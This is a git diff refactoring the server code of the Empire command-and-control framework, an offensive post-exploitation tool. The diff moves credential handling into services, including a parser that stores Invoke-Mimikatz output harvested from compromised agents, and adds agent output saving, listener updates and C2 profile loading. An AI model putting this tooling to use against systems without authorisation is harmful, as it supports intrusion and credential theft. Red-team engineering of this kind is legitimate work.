+ self.mainMenu.credentialsv2.create_credential(
+ # idk if i want to import api dtos here, but it's not a big deal for now.
+ db,
+ CredentialPostRequest(
+ credtype=cred[0],
+ domain=cred[1],
+ username=cred[2],
+ password=cred[3],
+ host=hostname,
+ os=os_details,
+ sid=cred[5],
+ notes=date_time,
+ ),
)
# update the agent log
@@ -2174,7 +1700,7 @@ def process_agent_packet(self, session_id, response_name, task_id, data):
data = data.encode("UTF-8")
parts = data.split(b"\n")
if len(parts) > 10:
- time = helpers.get_datetime()
+ date_time = helpers.get_datetime()
if parts[0].startswith(b"Hostname:"):
# if we get Invoke-Mimikatz output, try to parse it and add
# it to the internal credential store
@@ -2186,25 +1712,27 @@ def process_agent_packet(self, session_id, response_name, task_id, data):
hostname = cred[4]
if hostname == "":
- hostname = self.get_agent_hostname_db(session_id)
-
- osDetails = self.get_agent_os_db(session_id)
-
- self.mainMenu.credentials.add_credential(
- cred[0],
- cred[1],
- cred[2],
- cred[3],
- hostname,
- osDetails,
- cred[5],
- time,
+ hostname = agent.hostname
+
+ os_details = agent.os_details
+
+ self.mainMenu.credentialsv2.create_credential(
+ # idk if i want to import api dtos here, but it's not a big deal for now.
+ db,
+ CredentialPostRequest(
+ credtype=cred[0],
+ domain=cred[1],
+ username=cred[2],
+ password=cred[3],
+ host=hostname,
+ os=os_details,
+ sid=cred[5],
+ notes=date_time,
+ ),
)
elif response_name == "TASK_CMD_JOB_SAVE":
# dynamic script output -> non-blocking, save data
- name = self.get_agent_name_db(session_id)
-
# extract the file save prefix and extension
prefix = data[0:15].strip()
extension = data[15:20].strip()
@@ -2213,14 +1741,16 @@ def process_agent_packet(self, session_id, response_name, task_id, data):
# save the file off to the appropriate path
save_path = "%s/%s_%s.%s" % (
prefix,
- self.get_agent_hostname_db(session_id),
+ agent.hostname,
helpers.get_file_datetime(),
extension,
)
- final_save_path = self.save_module_file(name, save_path, file_data)
+ final_save_path = self.save_module_file(
+ session_id, save_path, file_data, agent.language
+ )
# update the agent log
- msg = "Output saved to .%s" % (final_save_path)
+ msg = f"Output saved to .{final_save_path}"
self.save_agent_log(session_id, msg)
elif response_name == "TASK_SCRIPT_IMPORT":
@@ -2250,24 +1780,21 @@ def process_agent_packet(self, session_id, response_name, task_id, data):
listener_name = data[38:]
- self.update_agent_listener_db(session_id, listener_name)
+ agent.listener = listener_name
+
# update the agent log
self.save_agent_log(session_id, data)
- message = "[+] Updated comms for {} to {}".format(session_id, listener_name)
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(session_id))
+ message = f"Updated comms for {session_id} to {listener_name}"
+ log.info(message)
elif response_name == "TASK_UPDATE_LISTENERNAME":
# The agent listener name variable has been updated agent side
# update the agent log
self.save_agent_log(session_id, data)
- message = "[+] Listener for '{}' updated to '{}'".format(session_id, data)
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(signal, sender="agents/{}".format(session_id))
+ message = f"Listener for '{session_id}' updated to '{data}'"
+ log.info(message)
else:
- print(
- helpers.color(
- "[!] Unknown response %s from %s" % (response_name, session_id)
- )
- )
+ log.warning("Unknown response %s from %s" % (response_name, session_id))
+
+ hooks.run_hooks(hooks.AFTER_TASKING_RESULT_HOOK, db, tasking)
diff --git a/empire/server/common/config.py b/empire/server/common/config.py
deleted file mode 100644
index 199ce4096..000000000
--- a/empire/server/common/config.py
+++ /dev/null
@@ -1,72 +0,0 @@
-import sys
-from typing import Dict, List, Union
-
-import yaml
-from pydantic import BaseModel, Extra, Field
-
-from empire.server.common import helpers
-
-
-class DatabaseConfig(BaseModel):
- type: str
- defaults: Dict[str, Union[bool, int, str]]
-
- # sqlite
- location: str = "empire/server/data/empire.db"
-
- # mysql
- url: str = "localhost:3306"
- username: str = ""
- password: str = ""
-
-
-class ModulesConfig(BaseModel):
- # todo vr In 5.0 we should pick a single naming convention for config.
- retain_last_value: bool = Field(alias="retain-last-value")
-
-
-class DirectoriesConfig(BaseModel):
- downloads: str
- module_source: str
- obfuscated_module_source: str
-
-
-class EmpireConfig(BaseModel):
- supress_self_cert_warning: bool = Field(
- alias="supress-self-cert-warning", default=True
- )
- database: DatabaseConfig
- modules: ModulesConfig
- plugins: Dict[str, Dict[str, str]] = {}
- directories: DirectoriesConfig
- keyword_obfuscation: List[str] = []
-
- def __init__(self, config_dict: Dict):
- super().__init__(**config_dict)
- # For backwards compatibility
- self.yaml = config_dict
-
- class Config:
- extra = Extra.allow
-
-
-def set_yaml(location: str):
- try:
- with open(location, "r") as stream:
- return yaml.safe_load(stream)
- except yaml.YAMLError as exc:
- print(exc)
- except FileNotFoundError as exc:
- print(exc)
-
-
-config_dict = {}
-if "--config" in sys.argv:
- location = sys.argv[sys.argv.index("--config") + 1]
- print(f"Loading config from {location}")
- config_dict = set_yaml(location)
-if len(config_dict.items()) == 0:
- print(helpers.color("[*] Loading default config"))
- config_dict = set_yaml("./empire/server/config.yaml")
-
-empire_config = EmpireConfig(config_dict)
diff --git a/empire/server/common/converter/convert_authors.py b/empire/server/common/converter/convert_authors.py
new file mode 100644
index 000000000..6a98a0c86
--- /dev/null
+++ b/empire/server/common/converter/convert_authors.py
@@ -0,0 +1,104 @@
+import fnmatch
+import os
+
+from ruamel.yaml import YAML
+
+yaml = YAML()
+yaml.indent(mapping=2, sequence=4, offset=2)
+yaml.width = 120
+
+
+author_names = {
+ "@harmj0y": "Will Schroeder",
+ "@hubbl3": "Jake Krasnov",
+ "@Cx01N": "Anthony Rose",
+ "@S3cur3Th1sSh1t": "",
+ "@mattifestation": "Matt Graeber",
+ "@joevest": "Joe Vest",
+ "@424f424f": "",
+ "@gentilkiwi": "Benjamin Delpy",
+ "@tifkin_": "Lee Christensen",
+ "@JosephBialek": "Joseph Bialek",
+ "matterpreter": "Matt Hand",
+ "@n00py": "",
+ "@_wald0": "Andy Robbins",
+ "@cptjesus": "Rohan Vazarkar",
+ "@xorrior": "Chris Ross",
+ "@TweekFawkes": "Bryce Kunz",
+}
+
+
+author_links = {
+ "@harmj0y": "https://twitter.com/harmj0y",
+ "@hubbl3": "https://twitter.com/_hubbl3",
+ "@Cx01N": "https://twitter.com/Cx01N_",
+ "@S3cur3Th1sSh1t": "https://twitter.com/ShitSecure",
+ "@mattifestation": "https://twitter.com/mattifestation",
+ "@joevest": "https://twitter.com/joevest",
+ "@424f424f": "https://twitter.com/424f424f",
+ "@gentilkiwi": "https://twitter.com/gentilkiwi",
+ "@tifkin_": "https://twitter.com/tifkin_",
+ "@JosephBialek": "https://twitter.com/JosephBialek",
+ "matterpreter": "https://twitter.com/matterpreter",
+ "@n00py": "https://twitter.com/n00py1",
+ "@_wald0": "https://twitter.com/_wald0",
+ "@cptjesus": "https://twitter.com/cptjesus",
+ "@xorrior": "https://twitter.com/xorrior",
+ "@TweekFawkes": "https://twitter.com/TweekFawkes",
+}
+
+
+def convert_old_author(author):
+ name = ""
+ handle = ""
+ link = ""
+ if author.startswith("@"):
+ handle = author
+ if handle in author_names:
+ name = author_names[handle]
+ if handle in author_links:
+ link = author_links[handle]
+ else:
+ name = author
+
+ return {"name": name, "handle": handle, "link": link}
+
+
+if __name__ == "__main__":
+ # yaml.add_representer(type(None), represent_none)
+ root_path = "../../modules"
+ pattern = "*.yaml"
+ for root, dirs, files in os.walk(root_path):
+ for filename in fnmatch.filter(files, pattern):
+ try:
+ file_path = os.path.join(root, filename)
+
+ # don't load up any of the templates
+ if fnmatch.fnmatch(filename, "*template.yaml"):
+ continue
+ if fnmatch.fnmatch(filename, "*Covenant.yaml"):
+ continue
+
+ with open(file_path, "r") as stream:
+ yaml_dict = yaml.load(stream)
+ author_handles = yaml_dict["authors"]
+
+ if author_handles is None:
+ continue
+ if len(author_handles) > 0:
+ if not isinstance(author_handles[0], str):
+ continue
+
+ # split any author strings within the list with commas and convert to list
+ author_list = []
+ for author in author_handles:
+ author_list.extend(author.split(","))
+
+ new_authors = list(map(convert_old_author, author_list))
+
+ yaml_dict["authors"] = new_authors
+
+ with open(file_path, "w") as out:
+ yaml.dump(yaml_dict, out)
+ except Exception as e:
+ print(f"Error processing {file_path}: {e}")
diff --git a/empire/server/common/converter/load_covenant.py b/empire/server/common/converter/load_covenant.py
index 8d6b5049c..9ba006475 100644
--- a/empire/server/common/converter/load_covenant.py
+++ b/empire/server/common/converter/load_covenant.py
@@ -6,7 +6,7 @@
def _convert_covenant_to_empire(covenant_dict: Dict, file_path: str):
empire_yaml = {
"name": covenant_dict["Name"],
- "authors": [covenant_dict["Author"]["Handle"]],
+ "authors": _convert_convenant_authors_to_empire([covenant_dict["Author"]]),
"description": covenant_dict["Description"],
"language": covenant_dict["Language"].lower(),
"compatible_dot_net_versions": covenant_dict["CompatibleDotNetVersions"],
@@ -25,6 +25,19 @@ def _convert_covenant_to_empire(covenant_dict: Dict, file_path: str):
return empire_yaml
+def _convert_convenant_authors_to_empire(covenant_authors: List[Dict]):
+ empire_authors = []
+ for author in covenant_authors:
+ empire_authors.append(
+ {
+ "handle": author["Handle"],
+ "name": author["Name"],
+ "link": author["Link"],
+ }
+ )
+ return empire_authors
+
+
def _convert_covenant_options_to_empire(
covenant_options: List[Dict],
empire_options: List[Dict],
diff --git a/empire/server/common/converter/module_converter.py b/empire/server/common/converter/module_converter.py
index 5e99a92dc..fc25d3c04 100644
--- a/empire/server/common/converter/module_converter.py
+++ b/empire/server/common/converter/module_converter.py
@@ -7,10 +7,11 @@
info_keys = {
"Name": "name",
- "Author": "authors",
+ "Authors": "authors",
"Description": "description",
"Software": "software",
"Techniques": "techniques",
+ "Tactics": "tactics",
"Background": "background",
"OutputExtension": "output_extension",
"NeedsAdmin": "needs_admin",
@@ -43,7 +44,7 @@ def format_options(options: Dict) -> Dict:
"name": key,
"description": value["Description"],
"required": value["Required"],
- "value": value["Value"], # todo should value really be defaultValue?
+ "value": value["Value"],
}
)
@@ -52,13 +53,12 @@ def format_options(options: Dict) -> Dict:
if __name__ == "__main__":
yaml.add_representer(type(None), represent_none)
- root_path = f"../../modules/python"
+ root_path = "../../modules/python"
pattern = "*.py"
count = 0
for root, dirs, files in os.walk(root_path):
for filename in fnmatch.filter(files, pattern):
file_path = os.path.join(root, filename)
- print(file_path)
# if 'eventvwr' not in file_path and 'seatbelt' not in file_path and 'logonpasswords' not in file_path \
# and 'invoke_assembly' not in file_path.lower() and 'sherlock' not in file_path and 'kerberoast' not in file_path \
diff --git a/empire/server/common/credentials.py b/empire/server/common/credentials.py
index f7fa9d885..a7b570dc1 100644
--- a/empire/server/common/credentials.py
+++ b/empire/server/common/credentials.py
@@ -3,17 +3,16 @@
Credential handling functionality for Empire.
"""
-from __future__ import absolute_import, print_function
-
-import os
-from builtins import input, object, str
+import logging
+import warnings
+from builtins import object
from sqlalchemy import and_, or_
-from empire.server.database import models
-from empire.server.database.base import Session
+from empire.server.core.db import models
+from empire.server.core.db.base import SessionLocal
-from . import helpers
+log = logging.getLogger(__name__)
class Credentials(object):
@@ -23,7 +22,6 @@ class Credentials(object):
"""
def __init__(self, MainMenu, args=None):
-
# pull out the controller objects
self.mainMenu = MainMenu
self.installPath = self.mainMenu.installPath
@@ -38,13 +36,19 @@ def is_credential_valid(self, credentialID):
"""
Check if this credential ID is valid.
"""
- results = (
- Session()
- .query(models.Credential)
- .filter(models.Credential.id == credentialID)
- .all()
+ warnings.warn(
+ "This has been deprecated and may be removed. Use credential_service.get_by_id() instead.",
+ DeprecationWarning,
)
- return len(results) > 0
+ with SessionLocal() as db:
+ if (
+ db.query(models.Credential)
+ .filter(models.Credential.id == credentialID)
+ .first()
+ ):
+ return True
+
+ return False
def get_credentials(self, filter_term=None, credtype=None, note=None, os=None):
"""
@@ -53,74 +57,67 @@ def get_credentials(self, filter_term=None, credtype=None, note=None, os=None):
'credtype' can be specified to return creds of a specific type.
Values are: hash, plaintext, and token.
"""
-
+ warnings.warn(
+ "This has been deprecated and may be removed. Use credential_service.get_all().",
+ DeprecationWarning,
+ )
# if we're returning a single credential by ID
- if self.is_credential_valid(filter_term):
- results = (
- Session()
- .query(models.Credential)
- .filter(models.Credential.id == filter_term)
- .first()
- )
+ with SessionLocal() as db:
+ if self.is_credential_valid(filter_term):
+ results = (
+ db.query(models.Credential)
+ .filter(models.Credential.id == filter_term)
+ .first()
+ )
- # if we're filtering by host/username
- elif filter_term and filter_term != "":
- filter_term = filter_term.replace("*", "%")
- search = "%{}%".format(filter_term)
- results = (
- Session()
- .query(models.Credential)
- .filter(
- or_(
- models.Credential.domain.like(search),
- models.Credential.username.like(search),
- models.Credential.host.like(search),
- models.Credential.password.like(search),
+ # if we're filtering by host/username
+ elif filter_term and filter_term != "":
+ filter_term = filter_term.replace("*", "%")
+ search = "%{}%".format(filter_term)
+ results = (
+ db.query(models.Credential)
+ .filter(
+ or_(
+ models.Credential.domain.like(search),
+ models.Credential.username.like(search),
+ models.Credential.host.like(search),
+ models.Credential.password.like(search),
+ )
)
+ .all()
)
- .all()
- )
- # if we're filtering by credential type (hash, plaintext, token)
- elif credtype and credtype != "":
- results = (
- Session()
- .query(models.Credential)
- .filter(models.Credential.credtype.ilike(f"%credtype%"))
- .all()
- )
-
- # if we're filtering by content in the note field
- elif note and note != "":
- search = "%{}%".format(note)
- results = (
- Session()
- .query(models.Credential)
- .filter(models.Credential.note.ilike(f"%search%"))
- .all()
- )
+ # if we're filtering by credential type (hash, plaintext, token)
+ elif credtype and credtype != "":
+ results = (
+ db.query(models.Credential)
+ .filter(models.Credential.credtype.ilike("%credtype%"))
+ .all()
+ )
- # if we're filtering by content in the OS field
- elif os and os != "":
- search = "%{}%".format(os)
- results = (
- Session()
- .query(models.Credential)
- .filter(models.Credential.os.ilike("%search%"))
- .all()
- )
+ # if we're filtering by content in the note field
+ elif note and note != "":
+ search = "%{}%".format(note)
+ results = (
+ db.query(models.Credential)
+ .filter(models.Credential.note.ilike("%search%"))
+ .all()
+ )
- # otherwise return all credentials
- else:
- results = Session().query(models.Credential).all()
+ # if we're filtering by content in the OS field
+ elif os and os != "":
+ search = "%{}%".format(os)
+ results = (
+ db.query(models.Credential)
+ .filter(models.Credential.os.ilike("%search%"))
+ .all()
+ )
- return results
+ # otherwise return all credentials
+ else:
+ results = db.query(models.Credential).all()
- def get_krbtgt(self):
- """
- Return all krbtgt credentials from the database.
- """
- return self.get_credentials(credtype="hash", filterTerm="krbtgt")
+ return results
def add_credential(
self, credtype, domain, username, password, host, os="", sid="", notes=""
@@ -128,109 +125,34 @@ def add_credential(
"""
Add a credential with the specified information to the database.
"""
- results = (
- Session()
- .query(models.Credential)
- .filter(
- and_(
- models.Credential.credtype.like(credtype),
- models.Credential.domain.like(domain),
- models.Credential.username.like(username),
- models.Credential.password.like(password),
- )
- )
- .all()
- )
-
- if len(results) == 0:
- credential = models.Credential(
- credtype=credtype,
- domain=domain,
- username=username,
- password=password,
- host=host,
- os=os,
- sid=sid,
- notes=notes,
- )
- Session().add(credential)
- Session().commit()
- return credential
-
- def add_credential_note(self, credential_id, note):
- """
- Update a note to a credential in the database.
- """
- results = (
- Session()
- .query(models.Agent)
- .filter(models.Credential.id == credential_id)
- .first()
+ warnings.warn(
+ "This has been deprecated and may be removed. Use credential_service.create_credential().",
+ DeprecationWarning,
)
- results.notes = note
- Session().commit()
-
- def remove_credentials(self, credIDs):
- """
- Removes a list of IDs from the database
- """
- for credID in credIDs:
- cred_entry = (
- Session()
- .query(models.Credential)
- .filter(models.Credential.id == credID)
- .first()
- )
- Session().delete(cred_entry)
- Session().commit()
-
- def remove_all_credentials(self):
- """
- Remove all credentials from the database.
- """
- creds = Session().query(models.Credential).all()
- for cred in creds:
- Session().delete(cred)
- Session().commit()
-
- def export_credentials(self, export_path=""):
- """
- Export the credentials in the database to an output file.
- """
-
- if export_path == "":
- print(helpers.color("[!] Export path cannot be ''"))
-
- export_path += ".csv"
-
- if os.path.exists(export_path):
- try:
- choice = input(
- helpers.color(
- "[>] File %s already exists, overwrite? [y/N] " % (export_path),
- "red",
+ with SessionLocal.begin() as db:
+ results = (
+ db.query(models.Credential)
+ .filter(
+ and_(
+ models.Credential.credtype.like(credtype),
+ models.Credential.domain.like(domain),
+ models.Credential.username.like(username),
+ models.Credential.password.like(password),
)
)
- if choice.lower() != "" and choice.lower()[0] == "y":
- pass
- else:
- return
- except KeyboardInterrupt:
- return
-
- creds = self.get_credentials()
-
- if len(creds) == 0:
- print(helpers.color("[!] No credentials in the database."))
- return
-
- with open(export_path, "w") as output_file:
- output_file.write(
- "CredID,CredType,Domain,Username,Password,Host,OS,SID,Notes\n"
+ .all()
)
- for cred in creds:
- output_file.write('"%s"\n' % ('","'.join([str(x) for x in cred])))
- print(
- "\n" + helpers.color("[*] Credentials exported to %s\n" % (export_path))
- )
+ if len(results) == 0:
+ credential = models.Credential(
+ credtype=credtype,
+ domain=domain,
+ username=username,
+ password=password,
+ host=host,
+ os=os,
+ sid=sid,
+ notes=notes,
+ )
+ db.add(credential)
+ db.flush()
diff --git a/empire/server/common/empire.py b/empire/server/common/empire.py
index cd591f4b7..939ef45c0 100755
--- a/empire/server/common/empire.py
+++ b/empire/server/common/empire.py
@@ -7,647 +7,105 @@
menu loops.
"""
-from __future__ import absolute_import, print_function
+from __future__ import absolute_import
-import cmd
-import fnmatch
-import json
-import os
-import sys
-import threading
+import logging
import time
-from builtins import input, str
+from socket import SocketIO
from typing import Optional
-from flask_socketio import SocketIO
-from prompt_toolkit import HTML, PromptSession
-from prompt_toolkit.patch_stdout import patch_stdout
-from pydispatch import dispatcher
-from sqlalchemy import and_, func, or_
-
-from empire.server.common import hooks_internal
-
# Empire imports
-from empire.server.common.config import empire_config
-from empire.server.database import models
-from empire.server.database.base import Session
+from empire.server.core import hooks_internal
+from empire.server.core.agent_file_service import AgentFileService
+from empire.server.core.agent_service import AgentService
+from empire.server.core.agent_task_service import AgentTaskService
+from empire.server.core.bypass_service import BypassService
+from empire.server.core.credential_service import CredentialService
+from empire.server.core.download_service import DownloadService
+from empire.server.core.host_process_service import HostProcessService
+from empire.server.core.host_service import HostService
+from empire.server.core.listener_service import ListenerService
+from empire.server.core.listener_template_service import ListenerTemplateService
+from empire.server.core.module_service import ModuleService
+from empire.server.core.obfuscation_service import ObfuscationService
+from empire.server.core.plugin_service import PluginService
+from empire.server.core.profile_service import ProfileService
+from empire.server.core.stager_service import StagerService
+from empire.server.core.stager_template_service import StagerTemplateService
+from empire.server.core.user_service import UserService
from empire.server.utils import data_util
-from . import (
- agents,
- credentials,
- helpers,
- listeners,
- messages,
- modules,
- plugins,
- stagers,
- users,
-)
-from .events import log_event
+from . import agents, credentials, listeners, stagers
+
+VERSION = "5.0.0-beta2 BC Security Fork"
-VERSION = "4.10.0 BC Security Fork"
+log = logging.getLogger(__name__)
-class MainMenu(cmd.Cmd):
+class MainMenu(object):
"""
The main class used by Empire to drive the 'main' menu
displayed when Empire starts.
"""
def __init__(self, args=None):
-
- cmd.Cmd.__init__(self)
-
- # set up the event handling system
- dispatcher.connect(self.handle_event, sender=dispatcher.Any)
-
- # globalOptions[optionName] = (value, required, description)
- self.globalOptions = {}
-
- # currently active plugins:
- # {'pluginName': classObject}
- self.loadedPlugins = {}
-
time.sleep(1)
- self.lock = threading.Lock()
-
# pull out some common configuration information
(
self.isroot,
self.installPath,
self.ipWhiteList,
self.ipBlackList,
- self.obfuscate,
- self.obfuscateCommand,
- ) = data_util.get_config(
- "rootuser, install_path,ip_whitelist,ip_blacklist,obfuscate,obfuscate_command"
- )
-
- # change the default prompt for the user
- self.prompt = "(Empire) > "
- self.do_help.__func__.__doc__ = """Displays the help menu."""
- self.doc_header = "Commands"
-
- # Main, Agents, or
- self.menu_state = "Main"
+ ) = data_util.get_config("rootuser, install_path,ip_whitelist,ip_blacklist")
# parse/handle any passed command line arguments
self.args = args
- # instantiate the agents, listeners, and stagers objects
+ self.socketio: Optional[SocketIO] = None
+
self.agents = agents.Agents(self, args=args)
self.credentials = credentials.Credentials(self, args=args)
self.stagers = stagers.Stagers(self, args=args)
- self.modules = modules.Modules(self, args=args)
self.listeners = listeners.Listeners(self, args=args)
- self.users = users.Users(self)
-
- self.load_malleable_profiles()
+ self.listenertemplatesv2 = ListenerTemplateService(self)
+ self.listenersv2 = ListenerService(self)
+ self.stagertemplatesv2 = StagerTemplateService(self)
+ self.stagersv2 = StagerService(self)
+ self.usersv2 = UserService(self)
+ self.bypassesv2 = BypassService(self)
+ self.obfuscationv2 = ObfuscationService(self)
+ self.profilesv2 = ProfileService(self)
+ self.credentialsv2 = CredentialService(self)
+ self.hostsv2 = HostService(self)
+ self.processesv2 = HostProcessService(self)
+ self.modulesv2 = ModuleService(self)
+ self.downloadsv2 = DownloadService(self)
+ self.agenttasksv2 = AgentTaskService(self)
+ self.agentfilesv2 = AgentFileService(self)
+ self.agentsv2 = AgentService(self)
+ self.pluginsv2 = PluginService(self)
+
+ self.pluginsv2.startup()
hooks_internal.initialize()
- self.socketio: Optional[SocketIO] = None
self.resourceQueue = []
# A hashtable of autruns based on agent language
self.autoRuns = {}
- self.startup_plugins()
self.directory = {}
- self.get_directories()
-
- message = "[*] Empire starting up..."
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="empire")
-
- def handle_event(self, signal, sender):
- """
- Whenver an event is received from the dispatcher, log it to the DB,
- decide whether it should be printed, and if so, print it.
- If self.args.debug, also log all events to a file.
- """
- # load up the signal so we can inspect it
- try:
- signal_data = json.loads(signal)
- except ValueError:
- print(
- helpers.color(
- "[!] Error: bad signal received {} from sender {}".format(
- signal, sender
- )
- )
- )
- return
-
- # if this is related to a task, set task_id; this is its own column in
- # the DB (else the column will be set to None/null)
- task_id = None
- if "task_id" in signal_data:
- task_id = signal_data["task_id"]
-
- if "event_type" in signal_data:
- event_type = signal_data["event_type"]
- else:
- event_type = "dispatched_event"
-
- # print any signal that indicates we should
- if "print" in signal_data and signal_data["print"]:
- print(helpers.color(signal_data["message"]))
-
- # get a db cursor, log this event to the DB, then close the cursor
- # TODO instead of "dispatched_event" put something useful in the "event_type" column
- log_event(sender, event_type, json.dumps(signal_data), task_id=task_id)
-
- # if --debug X is passed, log out all dispatcher signals
- if self.args.debug:
- with open("empire.debug", "a") as debug_file:
- debug_file.write(
- "%s %s : %s\n" % (helpers.get_datetime(), sender, signal)
- )
-
- if self.args.debug == "2":
- # if --debug 2, also print the output to the screen
- print(" %s : %s" % (sender, signal))
-
- def startup_plugins(self):
- """
- Load plugins at the start of Empire
- """
- plugin_path = self.installPath + "/plugins/"
- print(helpers.color("[*] Searching for plugins at {}".format(plugin_path)))
-
- # Import old v1 plugins (remove in 5.0)
- plugin_names = os.listdir(plugin_path)
- for plugin_name in plugin_names:
- if not plugin_name.lower().startswith(
- "__init__"
- ) and plugin_name.lower().endswith(".py"):
- file_path = os.path.join(plugin_path, plugin_name)
- plugins.load_plugin(self, plugin_name, file_path)
-
- # Import new v2 plugins
- for root, dirs, files in os.walk(plugin_path):
- for filename in files:
- if not filename.lower().endswith(".plugin"):
- continue
-
- file_path = os.path.join(root, filename)
- plugin_name = filename.split(".")[0]
-
- # don't load up any of the templates or examples
- if fnmatch.fnmatch(filename, "*template.plugin"):
- continue
- elif fnmatch.fnmatch(filename, "*example.plugin"):
- continue
-
- plugins.load_plugin(self, plugin_name, file_path)
-
- def load_malleable_profiles(self):
- """
- Load Malleable C2 Profiles to the database
- """
- malleable_path = self.installPath + "/data/profiles"
- print(
- helpers.color(
- "[*] Loading malleable profiles from: {}".format(malleable_path)
- )
- )
-
- malleable_directories = os.listdir(malleable_path)
-
- for malleable_directory in malleable_directories:
- for root, dirs, files in os.walk(
- malleable_path + "/" + malleable_directory
- ):
- for filename in files:
- if not filename.lower().endswith(".profile"):
- continue
-
- file_path = os.path.join(root, filename)
-
- # don't load up any of the templates
- if fnmatch.fnmatch(filename, "*template.profile"):
- continue
-
- malleable_split = file_path.split(malleable_path)[-1].split("/")
- profile_category = malleable_split[1]
- profile_name = malleable_split[2]
-
- # Check if module is in database and load new profiles
- profile = (
- Session()
- .query(models.Profile)
- .filter(models.Profile.name == profile_name)
- .first()
- )
- if not profile:
- message = "[*] Loading malleable profile {}".format(
- profile_name
- )
- signal = json.dumps({"print": False, "message": message})
- dispatcher.send(signal, sender="empire")
-
- with open(file_path, "r") as stream:
- profile_data = stream.read()
- Session().add(
- models.Profile(
- file_path=file_path,
- name=profile_name,
- category=profile_category,
- data=profile_data,
- )
- )
- Session().commit()
-
- def plugin_socketio_message(self, plugin_name, msg):
- """
- Send socketio message to the socket address
- """
- if self.args.debug is not None:
- print(helpers.color(msg))
- self.socketio.emit(
- f"plugins/{plugin_name}/notifications",
- {"message": msg, "plugin_name": plugin_name},
- )
-
- def check_root(self):
- """
- Check if Empire has been run as root, and alert user.
- """
- try:
- if os.geteuid() != 0:
- if self.isroot:
- messages.title(VERSION)
- print(
- "[!] Warning: Running Empire as non-root, after running as root will likely fail to access prior agents!"
- )
- while True:
- a = input(
- helpers.color(
- "[>] Are you sure you want to continue (y) or (n): "
- )
- )
- if a.startswith("y"):
- return
- if a.startswith("n"):
- self.shutdown()
- sys.exit()
- else:
- pass
- if os.geteuid() == 0:
- if self.isroot:
- pass
- if not self.isroot:
- config = Session().query(models.Config).all()
- config.rootuser = True
- Session().commit()
- except Exception as e:
- print(e)
+ self.listenersv2.start_existing_listeners()
+ log.info("Empire starting up...")
def shutdown(self):
"""
Perform any shutdown actions.
"""
- print("\n" + helpers.color("[!] Shutting down..."))
-
- message = "[*] Empire shutting down..."
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="empire")
+ log.info("Empire shutting down...")
# enumerate all active servers/listeners and shut them down
- self.listeners.shutdown_listener("all")
-
- message = "[*] Shutting down plugins..."
- signal = json.dumps({"print": True, "message": message})
- dispatcher.send(signal, sender="empire")
- for plugin in self.loadedPlugins:
- self.loadedPlugins[plugin].shutdown()
-
- def teamserver(self):
- """
- The main cmdloop logic that handles navigation to other menus.
- """
- session = PromptSession(
- complete_in_thread=True,
- bottom_toolbar=self.bottom_toolbar,
- refresh_interval=5,
- )
-
- while True:
- try:
- with patch_stdout(raw=True):
- text = session.prompt("Server > ", refresh_interval=None)
- print(helpers.color("[!] Type exit to quit"))
- except KeyboardInterrupt:
- print(helpers.color("[!] Type exit to quit"))
- continue # Control-C pressed. Try again.
- except EOFError:
- break # Control-D pressed.
-
- if text == "exit":
- choice = input(helpers.color("[>] Exit? [y/N] ", "red"))
- if choice.lower() == "y":
- self.shutdown()
- return True
- else:
- pass
-
- def bottom_toolbar(self):
- return HTML(
- f"EMPIRE TEAM SERVER | "
- + str(len(self.agents.agents))
- + " Agent(s) | "
- + str(len(self.listeners.activeListeners))
- + " Listener(s) | "
- + str(len(self.loadedPlugins))
- + " Plugin(s)"
- )
-
- ###################################################
- # CMD methods
- ###################################################
- def default(self, line):
- "Default handler."
- pass
-
- def buildQueue(self, resourceFile, autoRun=False):
- cmds = []
- if os.path.isfile(resourceFile):
- with open(resourceFile, "r") as f:
- lines = []
- lines.extend(f.read().splitlines())
- else:
- raise Exception(
- '[!] Error: The resource file specified "%s" does not exist'
- % resourceFile
- )
- for lineFull in lines:
- line = lineFull.strip()
- # ignore lines that start with the comment symbol (#)
- if line.startswith("#"):
- continue
- # read in another resource file
- elif line.startswith("resource "):
- rf = line.split(" ")[1]
- cmds.extend(self.buildQueue(rf, autoRun))
- # add noprompt option to execute without user confirmation
- elif autoRun and line == "execute":
- cmds.append(line + " noprompt")
- else:
- cmds.append(line)
-
- return cmds
-
- def substring(self, session, column, delimeter):
- """
- https://stackoverflow.com/a/57763081
- """
- if session.bind.dialect.name == "sqlite":
- return func.substr(column, func.instr(column, delimeter) + 1)
- elif session.bind.dialect.name == "mysql":
- return func.substring_index(column, delimeter, -1)
-
- def run_report_query(self):
- reporting_sub_query = (
- Session()
- .query(
- models.Reporting,
- self.substring(Session(), models.Reporting.name, "/").label(
- "agent_name"
- ),
- )
- .filter(
- and_(
- models.Reporting.name.ilike("agent%"),
- or_(
- models.Reporting.event_type == "task",
- models.Reporting.event_type == "checkin",
- ),
- )
- )
- .subquery()
- )
-
- return (
- Session()
- .query(
- reporting_sub_query.c.timestamp,
- reporting_sub_query.c.event_type,
- reporting_sub_query.c.agent_name,
- reporting_sub_query.c.taskID,
- models.Agent.hostname,
- models.User.username,
- models.Tasking.input.label("task"),
- models.Tasking.output.label("results"),
- )
- .join(
- models.Tasking,
- and_(
- models.Tasking.id == reporting_sub_query.c.taskID,
- models.Tasking.agent_id == reporting_sub_query.c.agent_name,
- ),
- isouter=True,
- )
- .join(models.User, models.User.id == models.Tasking.user_id, isouter=True)
- .join(
- models.Agent,
- models.Agent.session_id == reporting_sub_query.c.agent_name,
- isouter=True,
- )
- .all()
- )
-
- def generate_report(self):
- """
- Produce report CSV and log files: sessions.csv, credentials.csv, master.log
- """
- rows = (
- Session()
- .query(
- models.Agent.session_id,
- models.Agent.hostname,
- models.Agent.username,
- models.Agent.checkin_time,
- )
- .all()
- )
-
- print(helpers.color(f"[*] Writing {self.installPath}/data/sessions.csv"))
- try:
- self.lock.acquire()
- with open(self.installPath + "/data/sessions.csv", "w") as f:
- f.write("SessionID, Hostname, User Name, First Check-in\n")
- for row in rows:
- f.write(
- row[0] + "," + row[1] + "," + row[2] + "," + str(row[3]) + "\n"
- )
- finally:
- self.lock.release()
-
- # Credentials CSV
- rows = (
- Session()
- .query(
- models.Credential.domain,
- models.Credential.username,
- models.Credential.host,
- models.Credential.credtype,
- models.Credential.password,
- )
- .order_by(
- models.Credential.domain,
- models.Credential.credtype,
- models.Credential.host,
- )
- .all()
- )
-
- print(helpers.color(f"[*] Writing {self.installPath}/data/credentials.csv"))
- try:
